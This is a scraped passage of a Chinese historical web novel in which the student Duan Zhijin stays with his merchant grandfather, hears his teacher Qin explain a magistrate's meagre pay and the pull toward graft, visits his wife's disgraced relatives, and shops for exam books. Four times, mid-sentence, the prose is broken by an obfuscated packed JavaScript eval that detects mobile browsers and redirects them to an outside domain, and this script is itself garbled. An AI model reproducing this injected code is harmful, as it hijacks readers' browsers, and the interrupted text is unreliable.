秦先生摆摆手,“哪里哪里,这条路我走了这么多年,早就已经熟之又熟,谈何辛苦啊!堵在这个大门口,不像样子,咱们还是进去吧。” 王元浩说一声“请”,亲自领着秦先生和段之缙进了正门。 王家果然是商贾巨富,府内就是一个大型园林,小桥流水、粼粼怪石,样样都有。水池中是千金之鱼,湖中庭阁高耸入云,不知如何建造。回廊上下人们一个个垂首走动,却不闻一丝声音。 秦先生和王老爷走在前边,太太的亲生母亲白夫人却跟在段之缙身边,眼巴巴地瞧着他,一下也不错眼。打量了好一阵,她才笑着开口,“好人物,嘴还长得像小施,真是体面。” “太太谬赞了。” 白夫人和这个名义上的外孙说了几句话,她问得也心不在焉,听段之缙的答话也是心不在焉,兜兜转转终于转到了她的心肝儿女儿身上,还不待开口,眼眶子先红了。 “你……你母亲和你父亲如何?” “相安无事。” 段之缙也没有什么必要去说谎,王虞和段成平事儿在王家已经是人尽皆知,得知了女儿和女婿能用“相安无事”来形容,白夫人心中的大石头也算落了地,可她不一会儿又提起了心,“你说的都是真的?你母亲果然能和你父亲相安无事?不是她吩咐了你来糊弄外祖家吧?”白夫人本应是万事不用愁的贵妇,在这个仙境似的地方养尊处优,哪怕年近花甲也该精神健朗,可自从十三年前那封信从京城寄回来,她总是日夜垂泪,生怕哪一天就收到了女儿的死讯,十几年间没有一日能放下,反叫她形容憔悴,面上俱是悲苦。 做母亲的都是不容易,段之缙瞧着白夫人心惊胆战的模样心里也难受,又想起了那日路遇流民时,第一个出来喊叫的母亲,她的孩子已经凉透了,可她还是抱着,权当孩子仍然活着。 “怎么敢搪塞太太?母亲基本不与父亲碰面,吃穿用度都从自己的嫁妆里出,是家里最好的。孙儿的福气大,能跟着母亲过活,也不是其他的兄弟姐妹能够比拟的。” 白夫人仔细地看了段之缙的神情,估摸着他也没说谎话,这才大大地松下了一口气,又问道:“小施也还好吧?幸亏她为虞儿生下了你,否则没个儿子,在那样的宅院里,连个指望都没有。” “姨娘身子也好。” 白夫人这才放下了心,仍是想再问问别的,前头的王老爷却已经和秦先生寒暄完了,正招呼众人去正堂用餐。白夫人歉疚一笑,“瞧我,光顾着和你说话,你们一路风风雨雨地过来,想必早就饿了,咱们在饭桌上再说。” 众人一起进了正堂,在八仙桌上坐定,王老爷的眼睛这才稍稍从秦先生身上移开,转向段之缙,满面红光、精神矍铄道:“你母亲一向可好?” 段之缙垂首答道:“母亲与父亲相安无事,一切都好。”他语罢,仍等着这个名义上的外祖来问询王虞的情况,谁知王老爷只是笑着点了点头,便起身净手,亲自为秦先生倒酒。 “先生是北人,想来喝不惯我们水乡的酒,这是千里迢迢从山东运来的,上好的秋月白,先生尝尝?” 秦先生满饮一杯,满意地咂咂嘴,酒香气还在口中蔓延。 “好酒!至少是窖了五年。”秦先生抚掌,王元浩立刻又倒了一杯,自得道:“先生果然是会喝酒的人,这一杯秋月白,在窖子里封了六年六个月,就为今年等先生来尝呢。” “不敢当不敢当,秋月白是山东名酒,能尝一口已经是万幸,何况今年山东多地大旱,朝廷已经下了禁酒令,不许酿造酒水,能尝这一口老酒,也算是得天之幸。” 他们两个寒暄得热闹,段之缙却觉得愈发奇怪。 王老爷六十多岁的人了,跟着教书匠赔笑脸,秦先生也是一脸坦然,这是士农工商能解释的吗?商人地位最是下贱实属正常,可没道理王老爷这样的富甲淮宁的人还得跟着秦先生客客气气的。又想想秦先生日常挂在嘴边的“安平知县,这个人我了解”便觉他身份不简单。再说了,一般的教书匠,如何连兵部尚书是谁都知道? 段之缙正瞧着他们你推我我让你地劝酒,门外忽起环佩轻响,两列着藕荷色罗衫的侍女捧着鎏金云纹托盘鱼贯而入,踩着水磨青砖,竟似春蚕食叶般细密无声,桌上很快就摆满了各色珍馐,连摆放都是错落有致,别有一番美感。 头一道冷盘是水晶冻雕的亭台楼阁,太湖银鱼在琼脂间若隐若现,缀着胭脂鹅脯裁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14932125|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成的重瓣牡丹。三寸见方的青瓷碟里码着"白玉为簪"——取初春藕尖最嫩处,裹着松仁与瑶柱丝,在冰鉴里沁得脆生生。 若说这些菜不算什么,那道“烟雨三叠”可真是了不得了。三层鎏金暖锅分别煨着莼菜鳕鱼羹、糟香鹌鹑与酒酿圆子,侍女执银匙轻搅,竟当真旋出薄雾缭绕的奇景。 那一盏一杯的还没看清呢,白夫人便忍不住问段之缙,“你母亲如今用饭如何?她能吃得惯京里的菜系吗?” 段之缙愣怔了一下,“孙儿也不知,想来母亲到京二十余年,应当是习惯了。况且母亲有自己的小厨房,连着孙儿也都是跟着母亲吃呢。” 眼见着白母的神情又颓丧下去,她抿着唇儿,赤红的口脂被挤压得有些颜色不均,“你母亲幼时最爱吃鲜莲子,我们做父母的都爱重她,今天你看的那个池子,一直都是满池的荷花,等着荷花开过,莲子长成,我就带着他们兄弟姐妹几个划船入莲池,亲手采下来剥给她吃。后来,她出嫁了,又去了京里,我和她的兄弟姐妹们,也就都没有再如果莲池。” “好了!”正和秦先生推杯换盏的王元浩不耐烦地嗔一句,“这样好的日子,你非要说这些不高兴的事儿,何苦呢?况且秦先生和缙儿都在,叫大家心里也不是滋味。出嫁的女子,丈夫好好坏坏都是常有的事,你何必如此耿耿于怀,我们也为她做得够多了,也从来不欠她什么。赶紧吃饭吧!” 白夫人闻言,赶紧用丝绸帕子压了压眼睛,不叫盈满了眼眶的泪水涌出,挂着一个愁苦的笑对着段之缙说道:“瞧我,光顾着你母亲,忘了招待你,叫你听我的抱怨。” “太太殷殷爱子之情,就如母亲和姨娘对待孙儿一样,怎么能说是抱怨呢?况且今日知道了母亲爱吃鲜莲子,等着考完试回京,也带着母亲去湖边采莲子,孝顺母亲。” 白夫人感动非常,连连称是,又亲手用公筷为段之缙夹了一块儿梅子肉,笑道:“这是知你要来,特意叫人做得‘蟾宫折挂’,用二十年陈梅子卤雕琢的蜜饯拼盘,叫你吃了我这一块儿梅子,必得蟾宫折桂!” 段之缙起身用小碗接了,恭敬道:“多谢太太。” 秦先生听着喜笑颜开,对着王元浩夸赞道:“你这个外孙子不简单啊,日后必然有大出息。” 王老爷这会儿才算好好看了一眼段之缙,亲手为他倒了一杯秋月白,“你先生不是一般人,他既然如此说了,你日后必然有大造化,恐外祖家还得靠你提携呢。” “不敢不敢……” 这一番推杯换盏,一顿饭从中午吃到了日暮,中间又见了两个从铺子上赶回来的舅舅,陪着喝了一遭,等到席面终于散去,除了明日要读书的段之缙外,其他的人都是酒气熏熏。 然而无论是热闹非常的酒席,还是故作慈爱的外祖父,都不能叫段之缙升起来一丝的亲近感,只觉得家宴不像家宴,比在段府中更为难受,反而是一直断断续续地问询王虞近况的白夫人,叫段之缙生出孺慕之情,可能也是他自幼失母的缘由。 19.第十九章 县令其人 应酬了一日,晚上段之缙挑着灯,给远在京城的太太、姨娘去了信,先说自己一路上顺风顺水,已经到了安平县在王家住下,又说外祖父和外祖母身子康健、精神焕发,只是惦念着太太,望她多多来信。然后另起一封,写给了沈白蘋,问起了她的近况,太太有无刁难于她或是姨娘…… 总之零零碎碎写了一堆,也不怕麻烦,当天便叫人寄了出去,盼着她们能赶紧给自己回信,这赶着子时之前睡下,第二天仍是在没有一丝亮光的时刻起来温书,习那经史子集和八股文字。 王家的条件不是京城段家能比拟的,连上课读书的地方都大不一样,设在了秦先生的一水亭中,虽说是叫“亭”,实际上是湖中的一个大型建筑,不知是何方的能工巧匠,叫湖心的楼里一点儿潮湿的感觉都没有,只觉江南水波微漾,涟漪喜人,湖上的风景也是秀美如画,仿佛天外之境。 “学生倒不知先生是何方的神圣,外祖家如此尊重。”段之缙与秦慎之之间的情感,说是师生,实际上与父子也差不多,还像是共同奋斗的朋友,因而段之缙并不客套犹疑,有了疑问便直接询问。 秦先生这回却卖起了关子,哼笑一声,“打听起来你先生的事情了?现在可不能告诉你,若是告诉你了,你出去宣扬,叫大家都知道你是我的学生,结果两个月后的县试不中,岂不是污了我的名声?那谁还敢请我授课?比不得你,有个好太太锦衣玉食地供养,先生就指望领束脩养活家人呢!” “那若县试过了,能叫我知道先生的身份吗?” “你若县试过了,叫县太爷满意,定叫你知道先生的真实身份!”秦先生信誓旦旦,又突然想起来什么,“本来今日想为你讲讲诗词,只不过说起了知县,今日先给你讲讲知县吧。” “安平知县名讳为李显光,崇德十三年二甲的进士,来安平做知县也不过三年,可自他来了,安平景象可谓焕然一新。” “先是清理冤狱,将衙门里堆积已久的案件大大小小地查了个遍,许一切有冤情之人上堂鸣冤,重审旧案。然后惩治屡次敲诈勒索商户的税吏,还了安平商户一个清净。” 段之缙听着不禁开口道:“想来此知县该是有雷霆手段,又为铁面无私之人。” 秦先生不知为何哈哈大笑,“谬矣谬矣!非但没长个包公脸,反而和光同尘。你要知道,如今的天子,最好的一个字便是‘仁’,治下要无一不仁,便是官员侵吞了国库的银两,又或者设置了苛捐杂税,他都舍不得杀呢,何况要求官员?最不喜的就是铁面无私,对着违法的士绅喊打喊杀的清官。” “这是为何?既然爱好名声,更应该爱重清官谏臣呀?”段之缙听此一言万分不解,因而直言相问,却引得秦先生冷哼一声,不知想起了什么。 “人家说你是沽名钓誉,独你一人是清官忠臣,其他人都是奸臣酷吏不成?” 冷嘲热讽完这一句,秦先生便再也不说话了,拿起烟斗狠狠吸了一口,然后长长地吐出来,手都在颤抖,等着烟丝叫他抽完了,只剩下一小把灰烬,这才重新启唇。 “你以为长着一张嘴就能说话吗?其实你平日里所见的人,他们都不会说话,或者说,他们说的话都无人去听。” 段之缙摸不着头脑,只蹙着眉回了一句,“先生在说笑吗?” “说笑?你以为黔首百姓在当官的眼里和一般的猪狗有什么区别?他们不会写字,就不能在青史上留下自己的声音,任你待他们再好也没用,苛待了那些笔杆子,可是要留下千古骂名的。因而,待百姓好,不如待官吏好啊。” 段之缙沉默,秦先生也不指望着他说些什么,从烟袋子掏出来烟丝填在还烫手的烟斗里,重新点燃。 “可怜见的,你还是个小孩子,什么也不懂呢。你父亲行为不检,已经没有升官的希望了,能保住现在的官职都还是因为这个官职是朝廷收了银子卖给他的。只能叫你先生我来教导教导你了。” 秦先生不是那种自怨自艾的人,他精神强大得很,并不沉溺在不愉快的回忆中,因而也不像何其芳大人那样,回乡之后抑郁难忍,直到一命呜呼。他刁得很,怨天怨地怨皇上,就是不怨自己,也不会整日想着“怎么还不死,到了今天这个地步,活着还有什么意思?”,反而整天盼着山陵崩,好上来一个有为之君。也许是他的朱子教训读得没有何其芳大人好,可现在这个世道,那些个宠臣爱臣,哪一个是朱子之道读得好的?全是狗屁。 “我之前总是觉得,教给你那些钻营攀附的东西,会不会叫你心里瞧不起先生,或者干脆教偏了你,叫你真去钻营攀附了。先生担心啊,所以只教给你‘直’、‘正’,就算是没有什么大作为,也叫你做一个清清白白的人,日后高中也做一个清清白白的官。可是你那天给先生论的一番奸臣和忠臣的道理,叫我明白,你大概是生来就要做官的,这个道理,我八年前也没悟透,偏叫你一个小孩儿说透了。现在的李显光,他该是为官的好手了,也只能说在此方行政清明不招惹嫉恨罢了,若想着再进一步,却是三个字——难难难!” 段之缙听着先生的夸赞,没有一丝自得,他的三言两语,尽是悲凉和激愤,秦先生身上,到底发生了什么? “多说无益,不如跟你讲讲李显光这个人。”秦先生感慨完了,不做停留,立刻开讲。 段之缙也赶紧从刚才的情绪中挣脱出来,听着先生讲课。 “你要过考试,学问是不必说了,安平多年的考题你母亲也找来,你也见过了,自己说说想法吧。” “学生以为,知县大人该是主张无为而治之人,恐还是重农轻商之人。” “这是为何?” “先生请看题,这三年间三次县试,每次县试四场考试,共几十道题目,考过《礼记》中的‘并官省事,静事意役,上下用心,惟农是务。’,《孟子》的‘农为天下之本,务而工贾皆其末也。’以及《论语》中的‘足食,足兵,民信之矣。’等等,第一则是想要裁减冗官杂部,其他的多是发展农业生产,重本抑末。况且……先生所授的课业,也一直都在强调重本抑末,只是学生有一事不明。” 秦先生浅嘬了一口茶水,点头让他直言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14936055|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “学生在家中时,曾听奶娘说过外祖家和前任的县令交好,又见安平县内商贾如云,外祖也不见被官吏勒逼的愁色,并且知县也惩治了逼捐的税吏,为何出题时还要如此呢?” 秦先生瞅瞅段之缙蹙眉难解的样子,笑道:“你心里烦气一个人,可也没恨到想他死的程度,他又能给你带来巨大的利益,你会将他置之死地吗?” 段之缙代入了一下,知县是当官的,对于安平县来说就是最大的长官,所具有的权势地位是自己所不能及的,便是前世的自己,有钱到了一定的境界,不喜欢的人来送钱,自己也会置之不理。因而段之缙深思熟虑一番,回道:“先生,知县为一方父母之官,商贾不过是最末之民,这些利益他大可以不要。就算是要,也完全可以通过苛捐杂税,或者税吏勒掯,何必要改善安平的从商环境,使商业如此兴旺?” “你知道一个知县,年俸有多少吗?” “学生不知。” “知县,正七品的官员,每年四十五两俸银,四十五斛的禄米。” 四十五两,其实说少也不少,能叫一家人过上不错的日子了,又有四十五斛的米,折算出来,至少有六千七百五十斤重,二十口人吃一年足矣,对于为官清正者,这些钱粮难道不是绰绰有余吗?因而段之缙冷笑,“看来安平县的知县也是不知足的人了。又想要青名,又想要金银,真是委屈了他学的圣贤道理,反给商户行了便利。” “非也非也……你是不当家不知柴米油盐贵啊!你可知,这四十五两的银子和禄米要用来做什么?” “难道不是供他全家的吃喝?” 秦先生抽一口烟嘴,讥笑道:“要是这些银子能只供给官员及其家眷的吃喝,世上也不会有那么多的贪官污吏,正税之外也不会有那么多的苛捐杂税。有些时候,不是官员想贪,而是他们不得不贪。不贪,整个衙门都就地解散了。” “先生何出此言?” “知县一年四十五两的俸禄和四十五斛的禄米,养着他自己和整个衙门的一家人。书吏,朝廷是一分一文也不会给的。差役,朝廷一年也就给六七两的工食银,也不够一家人嚼用。再有办理公务的笔墨纸砚和差旅钱,全都要从知县的俸禄里出,哪一样是便宜的东西?再有和上下级交际,请客吃饭,现在的席面,像个样子的都得十两银子。你自己说说,四十五两的银子,够不够咱们知县吃喝的。” 段之缙哑口无言,怪不得贪官多清官少,这要是做了清官,纯属贴钱上班!多少寒门士子,深夜苦读,就算是圣贤书再刻骨铭心,它终究是不能当饭吃啊! “因而,咱们这个县令,虽说是心里厌恶商贾,但还是改善了他们的生存环境。一则是国法如此,纵然商贾下贱,但是律令已经规定了应当如何管理,断没有那些税吏私下勒索的道理。二则,想必你也清楚了。光你外祖一人每年要送给安平知县两千两白银,送给德平知府白银五千两,即便为了钱,他们也得捏着鼻子认下。” 段之缙已经无话可说了,制度如此,现下除了认命也别无选择。 20.第二十章 上街买书 上一回儿在一水亭里和秦先生一块说了县令的事情,又上了没几天的课,便到了除夕,王家人连带着段之缙和秦先生,乘船到镜湖上摆宴,推杯换盏,热闹非常,歌舞一直持续到了深夜,也不知道是什么时辰了。 “咚……咚……” 一声声钟声骤然从远方传来,震得人心里发麻。 “好孩子,你别害怕,这是城外妙音寺的钟声,新旧交替之际和佛诞日才会敲响。”白夫人朝着有些懵怔的段之缙招手,保养得当的手心抚着他的头发,口中哄幼儿一般安慰起来,“天出惊、地出惊、老君封过的法师来出惊……好了,好了,不怕了……” 这一番举动叫与宴的众人都愣住了,反应过来时口中的酒水都喷出,一个个掩面大笑。 “好小子,白老太太还把你当成小娃娃哄着呢!”秦先生本就因饮酒而一片酡红的面庞愈发红,笑得上气不接下气。自然了,一个瘦瘦小小的老贵妇,伸着手安抚一个将近六尺的大小伙,本就十分好笑。 “叫秦先生看笑话了,拙荆素来慈爱小辈,实在是把缙儿放在心尖上,倒比自己亲亲的孙子都要亲呢!”王老爷再为秦先生添上了酒,拿着段之缙开始打趣,两个人找到了“共同话题”,绕着段之缙七拐八拐地说。 这一夜,真可谓宾主尽欢,连段之缙都喝到晕头转向,被人扶着回了自己的房间,久违地睡了个昏天黑地,日上三竿了才起来,携带着年礼去拜访沈白蘋的舅家。 他出去走亲戚,秦先生跟着也不合适,因而只在门口看着他上马车,又不放心地理理徒儿有些皱了的褂子,叮嘱道:“去了杨家,只许聊没有用的,他们贪污的事情一句都不要提起,也不要听信他们说的话。把接济给他们的钱送出去,然后回来读书。” 许是杨家是沈白蘋的外祖家,段之缙对着他们有亲戚滤镜,再加上葛礼是个活畜生,因而闹得葛礼所参奏之人,段之缙总觉得无辜,所以听得秦先生这番言论,他大为不解。 “先生这是何意?若不是葛礼诬告,何至于此呢?” 秦先生哂笑,“谁跟你说的是诬告?葛礼可不是诬告。杨家老大任江宁织造期间,他们家可都富得流油了,黄金铺地都不可惜,要不是孝淑夫人孟氏的缘故,先皇和当今谁都忍不下他,孝淑夫人一过世,谁还能忍他?自然了,葛礼也不是什么好东西,纯粹是也盯上了江宁织造的职务,想要把自家的子弟塞过去。” 段之缙心中一团乱麻,秦先生看他脸色不对,又生怕这个心思灵巧的人把灵巧的心思使偏了,对着他的妻子沈白蘋也有了偏见,连忙拧了一下他的耳朵,嗔道:“乱想什么!我说这些可不是叫你对着你妻子生邪气的!她外祖家贪污,她也难知情,即便是知情,她也不能阻止。再不济,先生说句不好听的,你外祖家……”他说到这里,声音突然变小,回头看看站得远远的下人,心虚一般凑到段之缙耳边说:“你外祖王家,也不是全然正派的商贾人家……你父亲他也……” 剩下的话不好听,秦先生闷在了嘴里,和段之缙对视一眼,尴尬一笑。 “先生,这对子骂父……” “好你个小混蛋!” 秦先生失笑,一巴掌贴上他的脑袋,“别磨磨蹭蹭了,快去快回吧。” 段之缙对着先生拱手施礼,踩着小凳子上了马车,前往沈白蘋的舅家拜年。 他们家的生计说是困难,倒也不至于像底层贫苦百姓一般需要亲自下地耕种,也不需要挑着担子走街串巷地做些小买卖。皇帝终究还是顾念着孝淑夫人奶了先皇一顿,没有赶尽杀绝,杨家故土淮宁隋阳仍留有一小部分田舍,供他们生活。他们自己不满足现状,变卖了部分家产,到了更为繁华的安平定居。 今日段之缙带来了大笔的银票,杨家人虽说不好意思,但还是三推四让地收下了,杨家老二杨孝思的脸都是赤红的。 “沾了蘋儿的光,得了一个好外甥女婿,我们家里败落了也不嫌弃,还愿意登门来送年礼。” 段之缙半个屁股坐在凳子上,宽慰这个无所适从的汉子,“二舅舅这说的是哪里的话?我们做晚辈的,孝敬舅舅本就是人伦天理,何况蘋儿幼时住在舅家,不知吃用了多少的东西。” “蘋儿……她还好吗?有孩子了没有?” 大舅母上前来添水的时候,听见他们说起了蘋儿,语里带着心焦,打听起了沈白蘋的现状。“蘋儿甚好,太太和老爷都慈爱。孩子倒是尚不急。” “哎,大丈夫成家立业,你现在也是十八的年纪了,我像你这个时候,都已经有了你大堂姐了。你们小夫妻趁着年轻多生养才是……” 几个长辈凑在一起嘀嘀咕咕,左右逃不过去“生儿育女”四个字,一家人日子虽然比不上从前,但是和和美美,亲密无间,只是段之缙还记着秦先生的嘱咐,也不敢久留,天色还早着便起身告辞。 临走时瞧着依依不舍的众人,段之缙犹豫再三,还是一把扯住了二舅的袖子,“舅舅,当年贪污之事究竟是为何?” 杨孝思的神情难以言明,一阵青一阵白,最后哀叹一声,“有些时候,你便是不想贪也得贪啊!只可怜我的大哥,留下你大舅母他们,一个人走黄泉路,保下了我们一家人。” 段之缙松开了手,秦先生所言“不要听信他们的话”犹在耳畔回响,可是他感性上如何也不敢相信,这样的一家人,真的是穷凶极恶、横征暴敛之人。 “回去吧,回去读书,你是蘋儿一生所系,爱惜你的羽毛,不要再来我们这种罪臣之家,”杨孝思推着外甥女婿上车,看着车轮滚动,留下一道道延伸的车辙。 他们这一家人,恐怕这辈子都要困死在此处了,但是段之缙却还有大好的未来,和杨家扯上关系,实属有害无益。 正月初一去杨家的事情已经成为了过往,可那句“不想贪也得贪”仍时时在环绕。 他真的敢相信,这些贪官污吏、青史罪人也有苦衷吗? 两辈子的年纪加起来都要古稀了,可段之缙毕竟没有在官场里混过,上辈子的经验搬也搬不到古代来,因此心中总是困惑。白日里还好,秦先生可不惯着他, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14943630|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稍有走神便要用烟斗子烫手,晚上他却辗转反侧怎么也睡不着,直到正月十四这天下课时分。 秦先生总算是赶在县试之前给这个麻烦的学生讲完了所有的课程,自己也大大地卸下一口气。精神放松,连烟都抽得少了,想想明日便是上元佳节,夜晚街道上张灯结彩,各式的花灯犹如繁星低垂,就想叫孩子也出去放松放松,明日自己也另有打算。 “缙儿,明日上元节,先生有事情出去,你自己去书肆逛一逛,问问老板这些应试的士子都看什么书,你也买着看看。另有望星河边的望星楼,是本地第一大酒楼,全天下的菜系都会做,也都做的出彩,你带着王章、冯胜儿两个人去吧。”秦先生一边收拾自己的书一边嘱咐,两个小书童上来拿东西,前脚都出了门,他又停下,“去了之后报上为师的名字,定在穿月堂。” 段之缙在后边遥遥地应下了,当晚也没那么晚睡,早早躺在了床上。 第二日收拾一番出门,王家安排的马车已经停在了后门口,贴身伺候他的小厮琼香叽里呱啦地说话。 “秦先生昨日来说,叫二爷出来买书,我们老爷喜得很连夜叫人出去打听,这才知道士子们少去最大的那家书肆,去的最勤的是蒋育成老爷的书肆。” “这是为何?”蒋育成,这个名字已经是段之缙第二回听说了。 琼香一笑,“二爷不知道,蒋育成先生是进士老爷,经常受学政大人的邀请一起阅卷的,因而县试、府试乃至院试,他都很有一套,也为此写过不少的书。” 段之缙点点头,“原来如此,真是多谢外祖了。” 马车行了不多久就停在了一个不大的书肆门口,店面也不大,其貌不扬,门大开着,里边也不见多少人。 “二爷,今天是上元节,大家也都忙着过节,这才显得不热闹,平时人可多了!”琼香见书肆显得有些“萧条”,许是害怕段之缙怀疑自己,还不等他出声问讯便先开口解释。段之缙倒没觉得如何,跨进高高的门槛,一股厚重的墨香气扑面而来。 四书五经、时文策论、名家注疏,皆按类别摆放得一丝不苟,掌柜的正在敲打着算盘,店里的伙计正扫着地,看见有客人来了连忙招呼。 “您要买点什么?” 段之缙打量几眼,回道:“我是从外地回安平赶考的,不知本地的士子都看什么书,还请小哥为我推荐一番吧。” “那您可真是来对地方了,小人先问问您是要考哪一场?” 段之缙回道:“是今年的县试下场。” 伙计沉吟一番,“我们这儿县试的书还真不是很多,那些四书五经的注疏想必您也都看过了,小人就不介绍了。《艺海元珠》您看过没,这本书收录了多地案首的文章,还有我们家主人亲自点评的内容。《游艺塾文规》,是我们主人自己出的题,自己写的时文,安平县随便一个读书的都看过。《谈文录》是教人写时文的,卖的最好……” 小伙计如数家珍、侃侃而谈,段之缙也听得津津有味,兴致大发,看来古人也有自己的“五三”啊! 21.第二十一章 初见郑崑瑛 《谈文录》可以说是科考必备书目,秦先生在教自己时文的时候,亦是用的此书,伙计说的那些蒋育成先生所著,自己也全都托母亲找来拜读过了,现在也不需要。 “伙计,你说的这些书,一月前我就看过了,不知还有没有别的?” 那伙计苦思一番,一时半会儿还真想不到别的,提溜着扫帚带着段之缙去找掌柜说明情况。 掌柜从帐本子里拔出来眼睛,瞟一眼段之缙道:“您不是从外地来赶考的吗?怎么我们蒋育成先生的书都读了?按理说,那些书都是最近两年新出的,应当还没有传到省外去才是。” 他打量了一番段之缙的穿着,锦缎长袍上滚着银丝,外边罩着内里是银狐皮的大氅,一眼便能看出是富家子弟。掌柜见了无数的败家子,常有言道“寒窗苦读终成器,纨绔奢靡自废材”,因而已经对段之缙产生了一些偏见,撇撇嘴笑道:“那我劝您还是再看看这些书吧,我们蒋育成先生所著,一般人没三四个月可是攻不透的。” 这话真是够无礼的,客人都说了已经看过,便是已经看过,何必再问?掌柜的能够如此,也不过是仗着他那当过进士的主人家。 琼香眼睛一瞪,就要把王老爷救过蒋育成的事情吵出来,叫掌柜的放尊重些,却被段之缙笑着拦下。 他见这样的事情太多了,没必要和这些把自己的经验当成全世界的人计较。 “不才家中有些银钱,父母对此也很上心,早早就买了这些书叫我学习。掌柜的还是与再我推荐两本吧。” 开书肆到底是要做生意的,有人执意要问,掌柜的自然要答,张口道:“上年腊月刚刚刊印的《百文汇编》,这是蒋先生和几位名士一块儿写的书,汇集了德平府各县出过的考题,重新作文供各位学子参考。不知您有无读过?” 这的确是没有读过的新书,也算是不枉此行,段之缙语说要买,那掌柜的却犹豫了。 “不是我们不做生意,这个书,蒋先生已经吩咐过了,因为到年关了,刊印的数量太少,只卖抄本不卖原本。” 这话段之缙可听不懂了,要赚钱,你该多印才对。 还不等得掌柜的解释,琼香便凑到了段之缙耳边细语。 “二爷不知道,这个蒋育成先生是个大好人呢!多接济穷苦的士子。雕版刻印是要耗费功夫和银两的,再加上纸墨,这个成本可不低,穷书生怎么能承受的了?反而叫他们抄书的成本低些,蒋先生每次印完书之后,卖一部分,剩下的一部分供学子抄,把抄出来的书和原本一起带回,不仅能拿些工钱补贴家用,还不花一分钱看了书。现在该是抄书的士子还没有抄完,店里没有抄本。” 原来如此!怪不得蒋先生的名声能响彻江南,果然有他的道理。 段之缙拱手施礼,“掌柜,若是有了抄本,您一定要先为我留下来,出几倍的价钱都行。” “哎呦,您说这话……我们这儿预定都是有顺序的,不能说您出价高就……” “那我前边还有多少人?” 掌柜的拿出来记事本子查了查,“也不多,三四个人,大概五天之后您再来拿。或者你加点钱,我们也能直接给您送到府上。” 五日之后自己也不一定能出来,段之缙想想还是叫他送货上门,留下了外祖家的地址。那掌柜一看地址却有些慌了神,“您和王老爷?” 琼香早就忍不住了,不等得段之缙阻止便吆喝出声,“这是我们老爷的外孙子!” “哎呀哎呀……您看这!”掌柜听他是王老爷的外孙,脸色变得古怪,紧跟着陪起笑来,“您要是早说,我把原本卖给您不就成了?不……送给您!王老爷可是我们蒋先生的救命恩人,您看看这事儿闹的,全都是我没提前问清楚。” 段之缙失笑,“掌柜,您也是按照蒋先生吩咐做事,何必因我是谁的外孙而破例呢?” 掌柜连连摆手,“这可不行,这显得我们待客不周了。” “那这样,我也带一本回去抄写,几日后拿回来原本和抄本如何?您若是再不许,我就五日之后再来了。” 段之缙这些时日里还有别的事情做,离着考试也还有小一个月,因而也没什么必要插队。掌柜想了一会儿也是这个道理,答应下来。 段之缙又和掌柜浅聊了几句,走入层层书架去看这里的书。 四书五经的原本、注解、水利用书、钱粮……各种各样的书排列在架子上,错落有致,走到最尽头,出现了一些话本,恩怨情仇、儿女侠客,令人沉迷其中。 要是屡试不第,出来做个写话本的也不错。 之缙拿着《忠烈侠义传》看的津津有味,这种话本子也不敢拿回王府,今天看一点就算了。最后却真的是入了迷,两腿一盘直接坐到了地上看,也不嫌脏了他一身的绫罗绸缎。 正看得起兴,一个经过的士子许是没注意书架底下坐了一个人,被段之缙直接绊了个踉跄,不仅他自己,连段之缙也下了一跳。 “兄台无事吧?”段之缙连忙去扶。 “无事无事……”那士子借着段之缙的手撑起来身子,穿着一身泛白的青色棉袍,整个人都空荡荡的。 段之缙又帮着他捡起来书籍,这才发现他掉的书是《百文汇编》的原本和抄本,而且还是两本抄本。 “兄台是来还书的?”段之缙问道。 “正是正是。”他回答的时候还十分拘谨,拿过段之缙递过来的书紧紧搂住。 掌柜也听到了刚才的声音,瞧见这两个人在寒暄忙走了过来。 “您二位这是?” “哦,刚才不小心绊倒了这位兄台。” 掌柜摸摸自己的胡子,“原来如此,正巧了,郑小哥多抄写了一本书,您要是愿意就直接买这本。不是我帮着谁,像郑小哥这样抄写干净,字迹端正的士子可不多见呀,您要是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951752|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 买了这本可是买着便宜了。” 